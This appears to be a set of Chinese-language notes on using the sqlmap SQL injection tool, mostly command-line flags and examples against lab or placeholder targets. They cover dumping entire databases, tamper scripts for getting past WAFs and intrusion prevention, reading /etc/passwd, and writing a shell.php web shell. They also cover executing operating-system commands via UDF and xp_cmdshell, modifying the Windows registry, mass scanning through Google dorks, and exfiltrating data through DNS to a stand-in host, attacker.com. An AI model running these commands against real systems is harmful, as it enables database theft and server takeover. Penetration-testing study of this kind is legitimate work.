Sqlmap的安裝:
#apt-get install git
# git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
在線升級(jí): #sqlmap –update
離線升級(jí):# git pull
指紋信息侣滩,查看一些版本
-f , --fingerprint, -b , --banner
--answer --check-waf --hpp --identify-waf
--tamper參數(shù)繞過(guò)waf
http://blog.csdn.net/hxsstar/article/details/22782627
脫褲常用參數(shù)
--current-user 操作系統(tǒng)用戶
--current-db 當(dāng)前庫(kù)名
--dbs 所有庫(kù)名
--hostname
--users 數(shù)據(jù)庫(kù)管理員
--privileges –U 查管理員權(quán)限(CU 表示當(dāng)前用戶)
--roles 查數(shù)據(jù)庫(kù)角色
–D dvwa --tables, --exclude-sysdbs 查表
-D dvwa -T users --columns 查users表中的列
--schema --batch --exclude-sysdbs 查information_schema中的表結(jié)構(gòu)
--batch表示過(guò)程中都選擇默認(rèn)選項(xiàng) --exclude-sysdbs表示忽略系統(tǒng)表罢缸,只查有價(jià)值的表
--count 對(duì)表計(jì)數(shù)
Dump脫褲,慎用颊艳!
--dump, -C, -T, -D, --start, --stop(部分脫褲)
--dump-all --exclude-sysdbs (直接都脫)
--sql-query "select * from users"(自己的命令脫褲)
當(dāng)數(shù)據(jù)庫(kù)管理員比較安全茅特,沒(méi)法順利脫褲,只能利用字典拆解表名列名:
--common-tables --common-columns
sqlmap之tamper腳本
--eval只能改變自己的變量
--tamper才能改變真正的payload
gedit my_tamper.py
cp my_tamper.py /usr/share/sqlmap/tamper/
sqlmap -u "http://127.0.0.1/index.php?id=1" --tamper="my_tamper.py" --os="linux" --dbms="mysql" --random-agent -v3
其中my_tamper格式如下
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
return payload.replace("'", "")
Sqlmap之操作系統(tǒng)命令執(zhí)行
--udf-inject --shared-lib
編譯共享庫(kù)并上傳實(shí)現(xiàn)UDF高級(jí)注入
Linux: share object文件 windows:DLL文件
http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-systemfull-control-whitepaper-4633857
#--file-read="/etc/passwd"
#--file-write="shell.php" --file-dest "/tmp/shell.php"
Mysql 和postgresql:上傳共享庫(kù)并生成sys_exec()棋枕、sys_eval()這兩個(gè)UDF
Mssql:利用xp_cmdshell白修,有就用,禁就啟重斑,沒(méi)有就新建
#--sql-shell (Mysql)
#--os-shell (postgresql)
#--os-cmd (Mssql)
Windows下對(duì)注冊(cè)表的利用:
--reg-read (讀注冊(cè)表)
--reg-add (寫注冊(cè)表)
--reg-del (刪注冊(cè)表)
--reg-key --reg-value --reg-data --reg-type (注冊(cè)表參數(shù))
example:
sqlmap –u="http://1.1.1.1/a.aspx?id=1" --reg-add --regkey="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
通過(guò)get方式進(jìn)行sql注入掃描
#sqlmap -u “url” -p 指定變量名
-users 查看數(shù)據(jù)庫(kù)管理賬號(hào)
-f指紋探測(cè)數(shù)據(jù)庫(kù)類型 (通過(guò)get方式對(duì)url進(jìn)行注入)
--banner 查看數(shù)據(jù)庫(kù)版本信息
--dbs(查看有哪些庫(kù))
-schema(查看schema庫(kù)來(lái)獲得所有庫(kù)表列結(jié)構(gòu)信息)
-a(把能查的都查出來(lái))
批量掃描:
sqlmap -m list.txt -參數(shù) --參數(shù)
調(diào)用google api來(lái)掃描兵睛,國(guó)內(nèi)需要設(shè)置代理鏈:
sqlmap.py -g "inurl:".php?id=1"" --proxy="http://127.0.0.1:8087"
數(shù)據(jù)庫(kù)直連
sqlmap -d "mysql://user:password@192.168.20.10:3306/dvwa" -f -users --banner --dbs --schema -a
sqlmap結(jié)合burpsuite使用post方式來(lái)注入
利用proxy截?cái)鄅ttp請(qǐng)求并保存為requst.txt (推薦)
#sqlmap -r request.txt
利用burp中的option設(shè)置,勾選保存proxy的request請(qǐng)求日志窥浪,保存為log.txt
#sqlmap -l log.txt
sqlmap支持https:
sqlmap -u “https://1.1.1.1/a.php?id=1:8843” --force-ssl
定義完各種情況下的掃描配置文件后祖很,直接引用掃描
#dpkg -L sqlmap | grep sqlmap.conf
#sqlmap -c sqlmap.conf
--data 和 cookie的設(shè)置
sqlmap中http頭的一些設(shè)置
手動(dòng)指定:--user-agent=””
調(diào)用sqlmap庫(kù)的--random-agent
Sqlmap檢查user-agent中的注入點(diǎn):--level=3(其實(shí)>=3都會(huì)檢查)
Host頭:--host=””(level=5)
Referer頭:--referer=”” (level>=3)
額外的特殊頭:--headers="Host:www.a.com\nUser-Agent:yuanfh"
掃描時(shí)可以指定方法:--method=GET/POST
基于http協(xié)議的身份認(rèn)證,或者基于客戶端證書的認(rèn)證
sqlmap的代理設(shè)置
--proxy="http://127.0.0.1:8087"
若代理需要密碼; --proxy-cred="name:pass"
若是系統(tǒng)級(jí)的代理漾脂,但卻要掃內(nèi)網(wǎng): --ignore-proxy
比如用XX-net代理掃描:sqlmap -u "http://1.1.1.1/a.php?id=1" --proxy="http://127.0.0.1:8087" --dbs
--delay --timeout --retries --randomize (超時(shí)保護(hù))
--scope利用burp的日志結(jié)合正則表達(dá)式來(lái)篩選
--safe-url /--safe-freq 隔幾次注入就發(fā)一次正確的請(qǐng)求假颇,防止服務(wù)器銷毀seesion
--skip-urlencode 對(duì)于一些特殊的服務(wù)器,提交數(shù)據(jù)時(shí)不接受url編碼
--eval特殊情況下符相,可以自己寫腳本來(lái)幫助自動(dòng)化處理
性能優(yōu)化:--predict-output --keep-alive --null-connection --threads -o
-p 指定注入?yún)?shù) –skip 跳過(guò)注入?yún)?shù) *來(lái)標(biāo)記url中隱藏的注入?yún)?shù)
確定數(shù)據(jù)庫(kù)類型后可以用--dbms=’’ ’’來(lái)指定庫(kù)的類型拆融,從而大大提高效率:
--os指定服務(wù)器操作系統(tǒng)化 --invalid-bignum / --invalid-logical 指定使參數(shù)失效的方式 --no-cast 對(duì)待老版mysql可能會(huì)用到
--no-escape 取消默認(rèn)的sqlmap對(duì)注入時(shí)字符的char()編譯
--prefix “”/--suffix “”特殊情況下變量的取值格式特殊,需要加前綴和后綴
--tamper 混淆腳本用于繞過(guò)waf啊终、IPS
#sqlmap -u “http://1.1.1.1/a.php?id=1” --tamper="between.py, randomcase.py, space2comment.py" -v 3
# dpkg -L sqlmap | grep tamper (找要引用的腳本)
-v 3是為了顯示更加詳細(xì)的內(nèi)容
--level
1-5級(jí)(默認(rèn)1)
/usr/share/sqlmap/xml/payloads
--risk
1-4(默認(rèn)1/無(wú)害)
Risk升高可造成數(shù)據(jù)被篡改等風(fēng)險(xiǎn)(update)
--string, --not-string, --regexp, --code, --text-only, --titles
頁(yè)面比較镜豹,基于布爾的注入檢測(cè),依據(jù)返回頁(yè)面內(nèi)容的變化判斷真假邏輯蓝牲,但有些頁(yè)面隨時(shí)間閡值變化趟脂,此時(shí)需要人為指定標(biāo)識(shí)真假的字符串
默認(rèn)使用全部注入技術(shù)
B:Boolean一based blind
E:Error-based
U:Union query一based
S: Stacked queries(文件系統(tǒng)、操作系統(tǒng)例衍、注冊(cè)表必須)
T:Time一based blind
--time-sec
基于時(shí)間的盲注時(shí)延長(zhǎng)時(shí)間
--union-cols
默認(rèn)聯(lián)合查詢1一10列昔期,隨一evel增加最多支持50列,
也可--union-cols 6-9
--union-char
聯(lián)合查詢默認(rèn)使用null佛玄,極端情況下null可能失敗硼一,此時(shí)可以手動(dòng)指定數(shù)值
如:--union-char 123
--dns-domain
控制了dns服務(wù)器后可以用這個(gè)參數(shù)加快脫褲速度,--dns-domain attacker.com
--second-order
在一個(gè)頁(yè)面注入的結(jié)果梦抢,從另一個(gè)頁(yè)面體現(xiàn)出來(lái)時(shí)可以用
--second-order http://.....